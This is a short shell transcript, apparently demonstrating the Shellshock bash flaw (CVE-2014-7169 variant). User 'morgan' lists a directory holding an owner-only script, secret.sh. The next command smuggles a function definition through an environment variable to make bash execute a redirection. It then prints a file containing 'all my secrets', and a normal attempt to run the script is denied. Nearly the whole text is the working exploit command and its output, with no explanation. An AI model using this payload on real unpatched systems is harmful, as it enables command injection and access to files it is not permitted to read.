morgan@MAIN /home/forbidden $ ls -l
total 8
-rw-rw-r-- 1 forbidden forbidden 15 Sep 25 15:04 echo
-rwx------ 1 forbidden forbidden 35 Sep 25 14:58 secret.sh
morgan@MAIN /home/forbidden $ env -i  X='() { (a)=>\' bash -c 'echo sh secret.sh'; cat echo
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
bash: echo: Permission denied
all my secrets
morgan@MAIN /home/forbidden $ ./secret.sh
bash: ./secret.sh: Permission denied